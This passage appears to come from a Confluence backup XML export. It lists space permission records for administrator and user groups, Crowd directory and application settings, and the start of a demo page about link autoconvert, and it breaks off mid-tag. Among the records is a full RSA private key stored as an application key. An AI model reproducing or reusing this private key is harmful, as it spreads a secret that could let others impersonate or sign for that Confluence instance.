<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
<property name="relationName"><![CDATA[collaborator]]></property>
<property name="creationDate">2020-10-21 01:38:37.286</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458796</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEMAIL]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.405</property>
<property name="lastModificationDate">2023-11-09 06:04:19.405</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458797</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEMAIL]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.407</property>
<property name="lastModificationDate">2023-11-09 06:04:19.407</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458798</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.408</property>
<property name="lastModificationDate">2023-11-09 06:04:19.408</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458799</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.411</property>
<property name="lastModificationDate">2023-11-09 06:04:19.411</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458792</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EXPORTSPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.397</property>
<property name="lastModificationDate">2023-11-09 06:04:19.397</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458793</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EXPORTSPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.399</property>
<property name="lastModificationDate">2023-11-09 06:04:19.399</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458794</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EXPORTSPACE]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.401</property>
<property name="lastModificationDate">2023-11-09 06:04:19.401</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458795</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEMAIL]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.403</property>
<property name="lastModificationDate">2023-11-09 06:04:19.403</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458788</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.387</property>
<property name="lastModificationDate">2023-11-09 06:04:19.387</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458789</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITBLOG]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.389</property>
<property name="lastModificationDate">2023-11-09 06:04:19.389</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458790</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITBLOG]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.391</property>
<property name="lastModificationDate">2023-11-09 06:04:19.391</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458791</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITBLOG]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.394</property>
<property name="lastModificationDate">2023-11-09 06:04:19.394</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458784</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.376</property>
<property name="lastModificationDate">2023-11-09 06:04:19.376</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458785</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.379</property>
<property name="lastModificationDate">2023-11-09 06:04:19.379</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458786</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.381</property>
<property name="lastModificationDate">2023-11-09 06:04:19.381</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458787</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.384</property>
<property name="lastModificationDate">2023-11-09 06:04:19.384</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458780</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEBLOG]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.367</property>
<property name="lastModificationDate">2023-11-09 06:04:19.367</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458781</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEBLOG]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.369</property>
<property name="lastModificationDate">2023-11-09 06:04:19.369</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458782</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEBLOG]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.371</property>
<property name="lastModificationDate">2023-11-09 06:04:19.371</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458783</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.374</property>
<property name="lastModificationDate">2023-11-09 06:04:19.374</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458776</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEPAGE]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.356</property>
<property name="lastModificationDate">2023-11-09 06:04:19.356</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458777</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.361</property>
<property name="lastModificationDate">2023-11-09 06:04:19.361</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458778</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.363</property>
<property name="lastModificationDate">2023-11-09 06:04:19.363</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458779</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.365</property>
<property name="lastModificationDate">2023-11-09 06:04:19.365</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458772</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITSPACE]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.346</property>
<property name="lastModificationDate">2023-11-09 06:04:19.346</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458773</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[SETSPACEPERMISSIONS]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.349</property>
<property name="lastModificationDate">2023-11-09 06:04:19.349</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458774</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEPAGE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.351</property>
<property name="lastModificationDate">2023-11-09 06:04:19.351</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458775</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEPAGE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.353</property>
<property name="lastModificationDate">2023-11-09 06:04:19.353</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458768</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[COMMENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.336</property>
<property name="lastModificationDate">2023-11-09 06:04:19.336</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458769</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[COMMENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.339</property>
<property name="lastModificationDate">2023-11-09 06:04:19.339</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458770</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITSPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.341</property>
<property name="lastModificationDate">2023-11-09 06:04:19.341</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458771</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EDITSPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.344</property>
<property name="lastModificationDate">2023-11-09 06:04:19.344</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458764</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.323</property>
<property name="lastModificationDate">2023-11-09 06:04:19.323</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458765</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.326</property>
<property name="lastModificationDate">2023-11-09 06:04:19.326</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458766</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.329</property>
<property name="lastModificationDate">2023-11-09 06:04:19.329</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458767</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[COMMENT]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.332</property>
<property name="lastModificationDate">2023-11-09 06:04:19.332</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458760</id>
<property name="type"><![CDATA[CREATESPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.418</property>
<property name="lastModificationDate">2023-11-09 06:04:18.418</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458761</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[VIEWSPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.263</property>
<property name="lastModificationDate">2023-11-09 06:04:19.263</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458762</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[VIEWSPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.305</property>
<property name="lastModificationDate">2023-11-09 06:04:19.305</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458763</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[VIEWSPACE]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.315</property>
<property name="lastModificationDate">2023-11-09 06:04:19.315</property>
</object>
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
<id name="id">65537</id>
<property name="alias"><![CDATA[confluence:174556]]></property>
<property name="key"><![CDATA[ RSA public MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArOTFjqwSVsGy6FLWppvYB04deZb5FsAe8BwS2mub/YFUOmc61ia97mcHDaqPKyRrM7QlJUdAQXRWMqycZuumGUahSyC6xsxsQLHSPsf2f6f1naTdL4anPfvzWlYaAl+WAPydpY9ZkgWlxXxzbmvd8Av4Ay84P8qfCNdufpn9QshrV0F3ZODU4gCr2LJRd49eWGSpxUJDvL9MQNOrxtyaDb9r/mxZ48Ed0Fn+kBmLrBxryyC055I0dBIS+JKDQb3qbHymwBQ1qYPdR85BIO6ozYd4UQ1ZeaeKK4T/zn7nohlVyLlDhcfGW0SicxkGfXOiDl8YgaGZeJQXSiQeHTYRYwIDAQAB ]]></property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458756</id>
<property name="type"><![CDATA[USECONFLUENCE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.397</property>
<property name="lastModificationDate">2023-11-09 06:04:18.397</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458757</id>
<property name="type"><![CDATA[SYSTEMADMINISTRATOR]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.406</property>
<property name="lastModificationDate">2023-11-09 06:04:18.406</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458758</id>
<property name="type"><![CDATA[PERSONALSPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.410</property>
<property name="lastModificationDate">2023-11-09 06:04:18.410</property>
</object>
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
<id name="id">65538</id>
<property name="alias"><![CDATA[confluence:174556]]></property>
<property name="key"><![CDATA[ RSA private MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCs5MWOrBJWwbLoUtamm9gHTh15lvkWwB7wHBLaa5v9gVQ6ZzrWJr3uZwcNqo8rJGsztCUlR0BBdFYyrJxm66YZRqFLILrGzGxAsdI+x/Z/p/WdpN0vhqc9+/NaVhoCX5YA/J2lj1mSBaXFfHNua93wC/gDLzg/yp8I125+mf1CyGtXQXdk4NTiAKvYslF3j15YZKnFQkO8v0xA06vG3JoNv2v+bFnjwR3QWf6QGYusHGvLILTnkjR0EhL4koNBvepsfKbAFDWpg91HzkEg7qjNh3hRDVl5p4orhP/OfueiGVXIuUOFx8ZbRKJzGQZ9c6IOXxiBoZl4lBdKJB4dNhFjAgMBAAECggEAM9D+moNcna7AyVsmZNmZNZtGPy4tqhFbVFf9mIOexSvRDA3rNsp2qvAqz4A6F1J7ZIwNg+4mRlexC8/qsffXGIUwCv2crL8QhJUmr1UrvdefR6dk+Pzwu6V6qiza77IpGVOchcWAMUDLDXR+fe4LHonfw0iQIaI+5p32SjAplK1QsFbUmcmNqDr+lBIord6xwRjqJJnN5scHfV3zPKn8boida508IaSrvpFBfEMcq77Mw0wPKzPFToKGkOaGAp2mRNBoz9j4vVvy0snOee51tRtlVPu1+Hp8q4nNbif8oJPc9eVjSO48kUOncIZmyx4HYc04UgYn5du66vnqbEbjGQKBgQDoUz/GFrP5zaWPB1AJZgeDUt8+3D9eH7C96J9Td3gaNsVsLgRHd98L8oQaTZxxSrKCAEFkroI15Sapa4HZ0klrWTmZWk0Z2nP8YsotPz345+Ywj4a9+m7+HBisDREt+vT8X3lV83B22/WyQf8dd8Bo1XBslve0H0c8S+8BB5C/aQKBgQC+gxw8gm55a95EFLMS3xDtuJTaUkqHm35k5Hd11G4wSetlTCVRKQ5ErnpSvTFH4f2n5Ke4CEdFFgqYIlnhIfzUYyfeeswcxokbwFnDiF8e76Uel0Asng8a0TbJEmGtrkCAW9cQSFX5gFx26VwT7BW2Tu6GzoY8pduq9h2ihTP86wKBgQCkBlKaSmEa1uQyjRkm6ZAYWaQgP2PF0l34VopWZZy39T+BVyPSSYGCb+BwqabwHarWOdPxf3uTDYw0RSDSZrNLRR1zddvFiwQkhqLzOxlH6IIOeubIrk06vx90KW2dpvbcT5Pc6RjX8ggPqKSza16/JSJQqG2OEB89JOdDNNIvMQKBgQCx/fDtn7bzfpJk7Sn5oatBTsjTyTqUw/Qs8z+hON3SA94IAEKFN2R7SsBCeTyHul6w8/K3ABUGOPeg98cdjhGXpSRkujnlUKBc6zNyegDU+HU+xXVRukLGfV1AMwpLqJfe1O9z6QFaYFEDUDeU7WfDsq8sB9xm4VcAvX0mkGjoDQKBgAiPqCJ/bRYhkbs4ZRRfioa5EfQG6oH9VEVHSXP4lG+wzRMjFKOvA+cosXlnZlkqTFzX2bFW2Hm582ikaY1AYHS/gGNPKoN5FRxR+4s3bZ4kQ2YRj1X6aTnE6cG5UWyzHKQXmxYSiLEbS1bofb1D8qaBVWhoJ74DcsfWCeY58gGT ]]></property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458759</id>
<property name="type"><![CDATA[CREATESPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.415</property>
<property name="lastModificationDate">2023-11-09 06:04:18.415</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458753</id>
<property name="type"><![CDATA[USECONFLUENCE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.336</property>
<property name="lastModificationDate">2023-11-09 06:04:18.336</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458754</id>
<property name="type"><![CDATA[PERSONALSPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.391</property>
<property name="lastModificationDate">2023-11-09 06:04:18.391</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458755</id>
<property name="type"><![CDATA[ADMINISTRATECONFLUENCE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.394</property>
<property name="lastModificationDate">2023-11-09 06:04:18.394</property>
</object>
<object class="DirectoryImpl" package="com.atlassian.crowd.model.directory">
<id name="id">360449</id>
<property name="name"><![CDATA[Confluence Internal Directory]]></property>
<property name="lowerName"><![CDATA[confluence internal directory]]></property>
<property name="createdDate">2023-11-09 06:04:18.127</property>
<property name="updatedDate">2023-11-09 06:04:18.127</property>
<property name="active">true</property>
<property name="description"><![CDATA[Confluence default internal directory]]></property>
<property name="implementationClass"><![CDATA[com.atlassian.crowd.directory.InternalDirectory]]></property>
<property name="lowerImplementationClass"><![CDATA[com.atlassian.crowd.directory.internaldirectory]]></property>
<property name="type" enum-class="DirectoryType" package="com.atlassian.crowd.embedded.api">INTERNAL</property>
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
</collection>
<collection name="attributes" class="java.util.Map"><element name="user_encryption_method" type="string"><![CDATA[atlassian-security]]></element>
</collection>
</object>
<object class="ApplicationImpl" package="com.atlassian.crowd.model.application">
<id name="id">327681</id>
<property name="name"><![CDATA[crowd-embedded]]></property>
<property name="lowerName"><![CDATA[crowd-embedded]]></property>
<property name="createdDate">2023-11-09 06:04:18.083</property>
<property name="updatedDate">2023-11-09 06:04:18.165</property>
<property name="active">true</property>
<property name="description"/><property name="type" enum-class="ApplicationType" package="com.atlassian.crowd.model.application">GENERIC_APPLICATION</property>
<component name="credential"><property name="credential" type="string"><![CDATA[X]]></property>
</component>
<collection name="attributes" class="java.util.Map"><element name="com.sun.jndi.ldap.connect.pool.initsize" type="string"><![CDATA[1]]></element>
<element name="atlassian_sha1_applied" type="string"><![CDATA[true]]></element>
<element name="com.sun.jndi.ldap.connect.pool.timeout" type="string"><![CDATA[30000]]></element>
<element name="com.sun.jndi.ldap.connect.pool.authentication" type="string"><![CDATA[simple]]></element>
<element name="com.sun.jndi.ldap.connect.pool.maxsize" type="string"><![CDATA[0]]></element>
<element name="com.sun.jndi.ldap.connect.pool.prefsize" type="string"><![CDATA[10]]></element>
<element name="aggregateMemberships" type="string"><![CDATA[true]]></element>
<element name="com.sun.jndi.ldap.connect.pool.protocol" type="string"><![CDATA[plain ssl]]></element>
</collection>
<collection name="directoryMappings" class="java.util.List"><element class="DirectoryMapping" package="com.atlassian.crowd.model.application"><id name="id">393217</id>
</element>
</collection>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163844</id>
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p><span style="color: rgb(64,64,64);">Confluence automatically transforms linked content</span>&nbsp;<span style="color: rgb(64,64,64);">into rich content.</span>&nbsp;<span style="color: rgb(64,64,64);">Try it with Confluence pages, JIRA issues, YouTube and Vimeo videos,&nbsp;<br /></span><span style="color: rgb(64,64,64);">Flickr photo streams, Tweets, Google maps and many more.</span></p><p><span style="color: rgb(64,64,64);">Here's two examples of autoconvert in action.</span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3>&nbsp;&nbsp; <br /><ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="e115eec2-dcf7-445c-b563-aca39824d38e"><ac:parameter ac:name="url"><ri:url ri:value="http://youtube.com/watch?v=RXhL9cfwx2c" /></ac:parameter></ac:structured-macro></h3></ac:layout-cell><ac:layout-cell><p><span style="color: rgb(0,0,0);"> <ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="6f0d84bb-46ee-40a0-8379-fb9a87faf7c7"><ac:parameter ac:name="url"><ri:url ri:value="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;hl=en&amp;ll=-33.866572,151.207001&amp;spn=0.004321,0.008256&amp;sll=-33.870509,151.203707&amp;sspn=0.008641,0.016512&amp;oq=atlassian,&amp;hq=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;radius=15000&amp;t=m&amp;z=18&amp;iwloc=A" /></ac:parameter></ac:structured-macro> </span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3><span style="color: rgb(51,51,51);">Try it yourself:</span></h3><ol><li><span> <span> <span style="color: rgb(51,51,51);"> <span> <strong>Edit</strong>&nbsp;this page.</span> </span> </span> </span></li><li><span> <span> <span style="color: rgb(51,51,51);"> <span>Copy this link&nbsp;<a href="https://youtu.be/RXhL9cfwx2c">https://youtu.be/RXhL9cfwx2c</a> and paste it onto the page.</span> <br /></span> </span> </span></li><li><span style="color: rgb(51,51,51);">Autoconvert will&nbsp;embed the YouTube video on the page.</span></li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell><ac:layout-cell><h3><span style="color: rgb(51,51,51);"> <span style="color: rgb(51,51,51);">Try it yourself</span>:</span></h3><ol><li><strong>Edit</strong>&nbsp;this page.</li><li>Copy this link &nbsp;<a 